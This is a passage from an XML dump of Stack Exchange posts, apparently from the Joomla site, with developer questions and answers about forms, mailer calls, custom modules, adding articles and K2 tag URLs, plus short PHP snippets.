with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $params-&amp;gt;get('my_param'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but on those tutorials I don't see any example on how to fill the fields when the form is loaded. I'm also lost on how to attach a js onclick event to the submit form. It is enough to implement onAfterRender()?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The registration form is the one where an user register to the joomla cms.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2HNee.jpg&quot; alt=&quot;Joomla registration form&quot;&gt; &#xA;The comment form is any comment form added by a third party extension below posts and pages.&lt;/p&gt;&#xA;" OwnerUserId="1677" LastEditorUserId="1677" LastEditDate="2014-07-29T13:47:45.323" LastActivityDate="2014-07-31T10:40:08.650" Title="Alter registration and comment forms" Tags="|plugin|form|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3787" PostTypeId="2" ParentId="3737" CreationDate="2014-07-28T17:24:36.380" Score="0" Body="&lt;p&gt;I finally solved my problem by using the &lt;strong&gt;AutoLogin-Extension&lt;/strong&gt; (dead hyperlink to JED removed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: that worked fine in the old days (Joomla 2), but the extension seems to be withdrawn, so I apologize if the solution won't help you these days.&lt;/p&gt;&#xA;" OwnerUserId="260" LastEditorUserId="12352" LastEditDate="2018-11-30T00:21:09.080" LastActivityDate="2018-11-30T00:21:09.080" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="3788" PostTypeId="1" CreationDate="2014-07-28T19:28:57.477" Score="4" ViewCount="721" Body="&lt;p&gt;I'm currently working on a big Joomla website created by a professional company, my job is to take some of the forms and update them. I've been using the Joomla Doc most of the time, but I'm still learning to use the framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the custom subscription form, I need to send two E-Mails, one for the account activation link (Which is sent during the user creation process) and the other for an overview of the user transaction (Which is also sent to the administrator). However, the system only sends one or the other, not both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guy who wrote the code before me cut those two mail in two function that would need a complete code overhaul to fuse, so I can't do anything about it since I'm an intern. Still, here's the important part of both methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the one during the user creation process&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Compile the notification mail values.&#xA;    $data = $user-&amp;gt;getProperties();&#xA;    $data['fromname'] = $config-&amp;gt;get('fromname');&#xA;    $data['mailfrom'] = $config-&amp;gt;get('mailfrom');&#xA;    $data['sitename'] = $config-&amp;gt;get('sitename');&#xA;    $data['siteurl'] = JUri::root();&#xA;    // Set the link to confirm the user email.&#xA;    $uri = JURI::getInstance();&#xA;    $base = $uri-&amp;gt;toString(array('scheme', 'user', 'pass', 'host', 'port'));&#xA;    $data['activate'] = $base . JRoute::_('index.php?option=com_users&amp;amp;task=registration.activate&amp;amp;token=' . $data['activation'],&#xA;                    false);&#xA;    $emailSubject = JText::sprintf(&#xA;                    'COM_USERS_EMAIL_ACCOUNT_DETAILS',&#xA;                    $data['name'],&#xA;                    $data['sitename']&#xA;    );&#xA;    $emailBody = JText::sprintf(&#xA;                    'COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY',&#xA;                    $data['name'],&#xA;                    $data['sitename'],&#xA;                    $data['siteurl'] . 'index.php?option=com_users&amp;amp;task=registration.activate&amp;amp;token=' . $data['activation'],&#xA;                    $data['siteurl'],&#xA;                    $data['username'],&#xA;                    $data['password_clear']&#xA;    );&#xA;    // Send the registration email.&#xA;    JFactory::getMailer()-&amp;gt;sendMail($data['mailfrom'],&#xA;            $data['fromname'],&#xA;            $data['email'],&#xA;            $emailSubject,&#xA;            $emailBody);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the one for the transaction :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $config = JFactory::getConfig();&#xA;    $sender = array( &#xA;    $config-&amp;gt;getValue('config.mailfrom'),&#xA;    $config-&amp;gt;getValue('config.fromname'));&#xA;    $to = $values['facture_email'];&#xA;    $subject = 'xxxxxxxxxxxxxxxxxxxxxxxx ' . $values['nouveau'];&#xA;    $mailer = JFactory::getMailer();&#xA;    $mailer-&amp;gt;setSender($sender);&#xA;    $mailer-&amp;gt;addRecipient($to);&#xA;    $mailer-&amp;gt;addBCC(array($from, 'xxxxxxxxxxxx@xxxxxx.xxxxxx'));&#xA;    $mailer-&amp;gt;setSubject($subject);&#xA;    $mailer-&amp;gt;isHTML(true);&#xA;    $mailer-&amp;gt;Encoding = 'base64';&#xA;    $mailer-&amp;gt;setBody($message);&#xA;    if (isset($values['carte']) &amp;amp;&amp;amp; $values['carte'] != '')&#xA;    {&#xA;        $mailer-&amp;gt;addAttachment(JPATH_COMPONENT . DS . 'assets' . DS . 'php' . DS . 'files' . DS . $values['carte']);&#xA;    }&#xA;    $send = $mailer-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the code 10 times and there is nothing in there that would prevent the second email to be sent if the first was... I suppose it's probably because I call getMailer() twice in the same event, but there is nothing in the joomla doc that would confirm this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1706" LastEditorUserId="1706" LastEditDate="2014-07-28T19:54:51.633" LastActivityDate="2014-07-30T14:04:32.117" Title="Joomla Mailer won't send a second Email" Tags="|php|jmail|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3789" PostTypeId="2" ParentId="3737" CreationDate="2014-07-29T01:23:40.393" Score="0" Body="&lt;p&gt;Have you tried to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-07-29T01:23:40.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3790" PostTypeId="1" AcceptedAnswerId="3792" CreationDate="2014-07-29T01:40:50.753" Score="3" ViewCount="1365" Body="&lt;p&gt;I'm new to Joomla, but not to CMSs in general(I have years of Drupal/Wordpress module/plugin development), but I am unsure of how to go about creating what a client asked for. Part of it is since I am new to Joomla, I am unsure of what to Google in order to see some examples of what I'm trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I need to create a custom administrative panel/page that allows the admins to upload a picture, have it be custom formatted to their standards, and display some text next to it at a particular area of the homepage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, does a popular module/plugin like this already exist? If not, would this be a custom plugin, module, or administrative template? If it is a template, would it be best to create a new custom administrative template, or modifying the default one? &lt;/p&gt;&#xA;" OwnerUserId="1707" LastEditorUserId="1629" LastEditDate="2014-08-07T18:44:28.653" LastActivityDate="2016-07-11T09:53:09.587" Title="Custom Admin Panel/Back-End Functionality Starting Point" Tags="|module|administration|custom-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3791" PostTypeId="2" ParentId="3790" CreationDate="2014-07-29T02:35:48.520" Score="0" Body="&lt;p&gt;There are modules such as JoomlaXTC's Deluxe New Pro that will load a custom view of articles in a certain category, including pulling an image. You can find it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.joomlaxtc.com/joomla/extensions?view=item&amp;amp;cid=1&amp;amp;id=1944&quot; rel=&quot;nofollow&quot;&gt;http://www.joomlaxtc.com/joomla/extensions?view=item&amp;amp;cid=1&amp;amp;id=1944&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big issue would be the formatting of the image. I don't know of any automatic image formatting plugins off the top of my head, but you CAN install JCE and buy the access to all the plugins. The extended image manager plugin lets the user choose to resize an image at the point of upload. It takes a bit of instruction, but it's fairly easy to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option is to go with K2 as your article format and then use a module to load the K2 items on the front page. You can set the image size for K2 images and when you upload them it'll resize for you. I think it crops images rather than resizing them if the proportion is off, but I could be wrong. There are quite a few K2 item loading modules available or you could roll your own based on the K2 item module that exists.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2014-07-29T02:35:48.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3792" PostTypeId="2" ParentId="3790" CreationDate="2014-07-29T07:21:25.687" Score="2" Body="&lt;p&gt;This one is one of the most common requirements in almost every website. There are plenty of ready made solutions that accomplish this in a variety of ways for Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solutions exist from simple plugins that you could use within content, simple modules or more sophisticated modules, or whole components that allow you to manage the images and have them displayed through modules into any module position. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the most popular solutions is the &lt;a href=&quot;http://www.joomlaworks.net/extensions/commercial/frontpage-slideshow&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JoomlaWorks FrontPage SlideShow&lt;/strong&gt;&lt;/a&gt;, that consists of a component and module that can also work as standalone.&#xA;But you can have a look at this &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JED category&lt;/strong&gt;&lt;/a&gt; and its subcategories to find something for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure though of what you mean by saying &quot;custom formatted&quot;. But as Brian said, if you need simple image editing, &lt;a href=&quot;https://www.joomlacontenteditor.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JCE editor&lt;/strong&gt;&lt;/a&gt; provides a commercial Image Manager plugin with extended capabilities such as simple image editing, effects and others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally if you want to make your hands dirty and code the whole stuff, at its simplest form this could be a module with extended settings in the backend. (&lt;a href=&quot;https://joomla.stackexchange.com/questions/655/how-do-you-make-a-new-module/661#661&quot;&gt;&lt;strong&gt;Module Development&lt;/strong&gt;&lt;/a&gt;). In this case make sure you follow Joomla coding practices (&lt;a href=&quot;https://joomla.stackexchange.com/questions/3579/joomla-3-x-extension-development-tutorial-for-a-beginner-developer/3586#3586&quot;&gt;&lt;strong&gt;Joomla Development Links&lt;/strong&gt;&lt;/a&gt;) in order to create an efficient and safe solution and gain advantage of the framework and all those Joomla platform has to offer.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-07-11T09:53:09.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3793" PostTypeId="1" AcceptedAnswerId="4142" CreationDate="2014-07-29T09:27:29.587" Score="1" ViewCount="338" Body="&lt;p&gt;I have created my modules position in my template and have also declared in the XML file. Now in module manager when I choose one of my module positions and save the module, it shows it then as a Custom Position in the Module Positions select field.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;I am not using any framework. Just casual joomla template. Module positions are defined in the XML and in the template's block files (so there should not be considered as custom positions) and are displayed in the Module Position filter in Module Manager normally.&lt;/p&gt;&#xA;&lt;p&gt;But after saving a module, then it will add it also under the Custom Positions group in the filter, ending with the same module position exist twice, 1 under the mytemplate positions and 1 under custom positions.&lt;/p&gt;&#xA;&lt;p&gt;It does make things a bit confusing.&lt;/p&gt;&#xA;&lt;h3&gt;Update 2&lt;/h3&gt;&#xA;&lt;p&gt;I just realized that this is also happening by default even with the protostar template, and probably with other templates as well.&#xA;After assigning a module to position, then this position becomes available also in the Custom Module Positions. Isn't this the case also for anyone else?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-04-26T06:48:14.450" Title="Why my template's positions become Custom Position in Module Manager?" Tags="|templates|positions|module-manager|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3794" PostTypeId="1" AcceptedAnswerId="3799" CreationDate="2014-07-29T15:13:05.963" Score="11" ViewCount="163" Body="&lt;p&gt;My component needs to add articles from the front-end in a non-conventional way. I realize I can just insert them with MySQL, but I'd like to use the core functions to do so (if it's possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having studied the code in components\com_content, I'm a little overwhelmed by everything that needs to happen, and was hoping that I'm just overcomplicating it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any examples of this in Joomla, or a convention of steps to be followed to accomplish it?&lt;/p&gt;&#xA;" OwnerUserId="285" LastEditorUserId="22" LastEditDate="2014-09-29T04:30:14.197" LastActivityDate="2014-09-29T04:30:14.197" Title="How do I add an article to #__content from my component?" Tags="|component|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3795" PostTypeId="2" ParentId="3784" CreationDate="2014-07-29T15:51:05.447" Score="1" Body="&lt;p&gt;I can't say with 100% certainty that this will work as I've not used it on the file you're interested in, but I've been able to override everything I've wanted to so far without hacking the core Joomla code.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Read &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;How to override the component mvc from the Joomla! core&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Try &lt;a href=&quot;https://gist.github.com/dongilbert/3237387&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you've have the plugin figured out, you'll see that you can copy the file that formats the RSS into a folder of your choosing within the plugins folder, and when the plugin itself fires, it will locate and use your copy of it instead of the original.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-07-29T15:59:48.127" LastActivityDate="2014-07-29T15:59:48.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3796" PostTypeId="1" AcceptedAnswerId="3798" CreationDate="2014-07-29T15:56:43.143" Score="3" ViewCount="69" Body="&lt;p&gt;I'm building a simple Joomla plugin, and once installed, I want the description to contain a link to the plugin manager to make it easier to find and enable the plugin. At the moment I have something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_plugins&quot;&amp;gt;Enable the plugin&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I add any parameters to the URL to filter the results (and show only my own plugin), instead of having a list of all available plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_plugins&amp;amp;search=myplugin&quot;&amp;gt;Enable the plugin&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(this doesn't work, but maybe something similar?)&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-07-29T16:16:36.650" Title="Link to plugin list with filter" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3797" PostTypeId="2" ParentId="3794" CreationDate="2014-07-29T15:58:57.357" Score="1" Body="&lt;p&gt;I also had to load articles in an unconventional way. I was able to leverage a lot of the Joomla code for this. You made need to adjust this based on your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function will return an artlice given an id (numeric) or an alias.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function loadArticle($id){&#xA;&#xA;            $app = JFactory::getApplication();&#xA;            $db = JFactory::getDBO();&#xA;            $query = $db-&amp;gt;getQuery(true);&#xA;            $selects = array('a.introtext','a.publish_up','a.publish_down');&#xA;            $query-&amp;gt;select($selects);&#xA;            $query-&amp;gt;from('#__content as a');&#xA;&#xA;            // select the alias or id&#xA;            $where = 'a.title = ' . $db-&amp;gt;q(NNText::html_entity_decoder($id));&#xA;            $where .= ' OR a.alias = ' . $db-&amp;gt;q(NNText::html_entity_decoder($id));&#xA;            if (is_numeric($id)) {&#xA;                    $where .= ' OR a.id = ' . $id;&#xA;            }&#xA;&#xA;            $query-&amp;gt;where('(' . $where . ')');&#xA;&#xA;            // check the publish and unpublish dates&#xA;            $now = JFactory::getDate('now','UTC');&#xA;            $nullDate = $db-&amp;gt;getNullDate();&#xA;&#xA;            $query-&amp;gt;where('a.state = 1');&#xA;&#xA;            $query-&amp;gt;where('( a.publish_up = ' . $db-&amp;gt;q($nullDate) . ' OR a.publish_up &amp;lt;= ' . $db-&amp;gt;q($now) . ' )');&#xA;            $query-&amp;gt;where('( a.publish_down = ' . $db-&amp;gt;q($nullDate) . ' OR a.publish_down &amp;gt;= ' . $db-&amp;gt;q($now) . ' )');&#xA;&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $article = $db-&amp;gt;loadObject();&#xA;            return $article;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-07-29T15:58:57.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3798" PostTypeId="2" ParentId="3796" CreationDate="2014-07-29T16:16:36.650" Score="3" Body="&lt;p&gt;I just tried this on v3.3 and it worked:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_plugins&amp;amp;view=plugins&amp;amp;filter_search=myplugin&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-07-29T16:16:36.650" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3799" PostTypeId="2" ParentId="3794" CreationDate="2014-07-29T19:44:58.917" Score="6" Body="&lt;p&gt;Open the model file and add these lines inside the model class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getContentTable($type = 'Content', $prefix = 'JTable', $config = array())&#xA;{&#xA;    return JTable::getInstance($type, $prefix, $config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can define a method inside the model class to add an article. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function addArticle()&#xA;{&#xA;    $table = $this-&amp;gt;getContentTable();&#xA;    $table-&amp;gt;title = &quot;Foo&quot;;&#xA;    $table-&amp;gt;alias = &quot;foo&quot;;&#xA;    // or&#xA;    // $table-&amp;gt;alias = JApplication::stringURLSafe($table-&amp;gt;title);&#xA;    $table-&amp;gt;catid = 2;&#xA;    $table-&amp;gt;state = 1;&#xA;    // and so on!&#xA;    // then save it&#xA;    $table-&amp;gt;save();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastEditorUserId="1520" LastEditDate="2014-08-01T09:04:47.093" LastActivityDate="2014-08-01T09:04:47.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3800" PostTypeId="1" CreationDate="2014-07-29T21:01:13.367" Score="2" ViewCount="202" Body="&lt;p&gt;I'm tired of typing &lt;code&gt;$this-&amp;gt;countModules('...')&lt;/code&gt;. Is there a way to make alias to that function, something similar as in JavaScript when I just do &lt;code&gt;var alias = myFunction&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried assigning &lt;code&gt;$this&lt;/code&gt; to a global variable, and than use wrapper function and I have tried &lt;code&gt;use $this-&amp;gt;countModules as m&lt;/code&gt; but none of that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="126" LastEditDate="2015-08-21T14:14:48.443" LastActivityDate="2015-08-21T14:14:48.443" Title="How to make shorthand for countModules?" Tags="|php|templates|template-framework|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3801" PostTypeId="2" ParentId="3800" CreationDate="2014-07-29T21:15:31.733" Score="2" Body="&lt;p&gt;I have figured it out, after some more tinkering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Shorthand for countModules function&#xA;function m($arguments) {&#xA;    return JFactory::getDocument()-&amp;gt;countModules($arguments);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-07-29T21:15:31.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3803" PostTypeId="1" CreationDate="2014-07-30T11:45:00.383" Score="2" ViewCount="1194" Body="&lt;p&gt;I have a Joomla K2 site (all latest versions) and I have noticed that google is finding URLs like this one : &lt;code&gt;http://mysite.com/tag/some-defined-tag.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is, that gives 404 error because Joomla doesn't know which component that URL belongs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tags do work if they are appended to some page that has K2 component enabled like this: &lt;code&gt;http://mysite.com/some-k2-category/tag/some-defined-tag.html&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the main mistery is, how the hell does Google even find those links. I was looking all over the page and there was never such link that isn't connected to some category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way I can fix this to actually lead to a proper page that displays all tagged content without 404 error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit]&#xA;I have found out that my tag cloud is generating those non functional URLs but that wasn't the case before I have turned on SEF URLs. Any ideas on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2014-07-30T12:00:57.617" LastActivityDate="2015-12-22T16:00:41.223" Title="K2 problem with displaying tagged content with SEF URLs" Tags="|tags|k2|sef|sh404sef|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3804" PostTypeId="2" ParentId="3788" CreationDate="2014-07-30T14:04:32.117" Score="1" Body="&lt;p&gt;What joomla version you are using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In older version of joomla the later part of the code (second chunk) might not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And again for the code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;addAttachment(JPATH_COMPONENT . DS . 'assets' . DS . 'php' . DS . 'files' . DS . $values['carte']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mailer-&amp;gt;addAttachment(JPATH_COMPONENT . '/assets/php/files/'.$values['carte']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make sure the path eg: joomla/components/com_extend/assets/php/files/file_name exists (check in a if condition before attaching it)&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2014-07-30T14:04:32.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3805" PostTypeId="2" ParentId="3800" CreationDate="2014-07-30T14:35:39.630" Score="6" Body="&lt;p&gt;There is simply no need to do this. As @Bakual has already said, your approach is bad practice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For starters, you are wrapping a function within a function unnecessarily when it's not required. You are then returning &lt;code&gt;JFactory::getDocument()-&amp;gt;countModules(...)&lt;/code&gt;, meaning you are calling the &lt;code&gt;JFactory&lt;/code&gt; class, then calling &lt;code&gt;JDocument&lt;/code&gt; which has to check if it already exists before creating it, and then the &lt;code&gt;countModules()&lt;/code&gt; function. Overall you are slowing down the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep things simple by sticking to &lt;code&gt;$this-&amp;gt;countModules()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-07-30T15:09:05.123" LastActivityDate="2014-07-30T15:09:05.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3806" PostTypeId="1" AcceptedAnswerId="3816" CreationDate="2014-07-30T15:49:50.187" Score="5" ViewCount="2374" Body="&lt;p&gt;I need to access an administrator end model from a site controller. What's the best way to do this? I have the following in my &lt;strong&gt;site&lt;/strong&gt; controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;addModelPath(JPATH_COMPONENT_ADMINISTRATOR.'/models');&#xA;...&#xA;$view = &amp;amp;$this-&amp;gt;getView('MyView', 'html');&#xA;$view-&amp;gt;setModel($this-&amp;gt;getModel('MyAdminModel'));&#xA;...&#xA;$view-&amp;gt;display();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel('MyAdminModel');&#xA;$this-&amp;gt;data = $model-&amp;gt;get('Items');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my view, but this seems a bit convoluted. Is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-11-10T22:52:32.363" Title="How to access administrator models from site controller / views?" Tags="|joomla-3.x|component|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3807" PostTypeId="1" AcceptedAnswerId="3809" CreationDate="2014-07-30T16:03:26.343" Score="-2" ViewCount="685" Body="&lt;p&gt;I am trying to add Alexa Certify Code in head section in template but code appear in frontend and i also use the System - OpenPotion Head and Body plugin but same, and Google Analytics codes in body section also same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the gk_news template.&lt;/p&gt;&#xA;" OwnerUserId="1712" LastEditorUserId="1629" LastEditDate="2014-08-07T20:42:31.563" LastActivityDate="2014-08-07T20:42:31.563" Title="need help in adding Alexa Certify Code in head section" Tags="|component|plugin|" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-10T08:42:03.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="3808" PostTypeId="1" AcceptedAnswerId="3810" CreationDate="2014-07-30T16:11:53.593" Score="5" ViewCount="5411" Body="&lt;p&gt;By default, &lt;code&gt;populateState&lt;/code&gt; seems to limit a call to any model's &lt;code&gt;get('Items')&lt;/code&gt; function to 20 items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be overridden - by re-writing &lt;code&gt;populateState&lt;/code&gt;? By writing a separate function in the model? I've gone for the second option...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getAll(){&#xA;    return $this-&amp;gt;_getList($this-&amp;gt;getListQuery());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works, but I think there's a more Joomla-ish way of doing this - I just can't find it.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2015-11-11T12:34:17.580" Title="How to set get('Items') limit?" Tags="|joomla-3.x|component|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3809" PostTypeId="2" ParentId="3807" CreationDate="2014-07-30T16:23:33.397" Score="1" Body="&lt;p&gt;You can add the code directly in the template file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the file &lt;code&gt;/templates/gk_news/layouts/default.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to line # 63 (aproximately) and find the &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag.&lt;/li&gt;&#xA;&lt;li&gt;Add your code just before the &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag:&lt;/li&gt;&#xA;&lt;li&gt;Save the file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your file should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&amp;lt;?php $this-&amp;gt;layout-&amp;gt;loadBlock('head'); ?&amp;gt;&#xA;&amp;lt;?php $this-&amp;gt;layout-&amp;gt;loadBlock('cookielaw'); ?&amp;gt;&#xA;&amp;lt;!-- ADD YOUR CODE HERE --&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-07-30T16:23:33.397" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3810" PostTypeId="2" ParentId="3808" CreationDate="2014-07-30T16:55:46.273" Score="5" Body="&lt;p&gt;To answer the question in the title about &quot;setting&quot; the limit, this is done in the Joomla global configuration: &quot;Default List Limit&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To override, Joomla components generally seem to use this in the model:&#xA;Using &lt;code&gt;$limit = 0&lt;/code&gt; shows all items&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null)&#xA;{&#xA;    // set limit&#xA;    $this-&amp;gt;setState('list.limit', $limit);&#xA;    // set start (eg. what record to begin pagination at)&#xA;    $this-&amp;gt;setState('list.start', $value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="29" LastEditDate="2015-06-22T17:49:01.483" LastActivityDate="2015-06-22T17:49:01.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
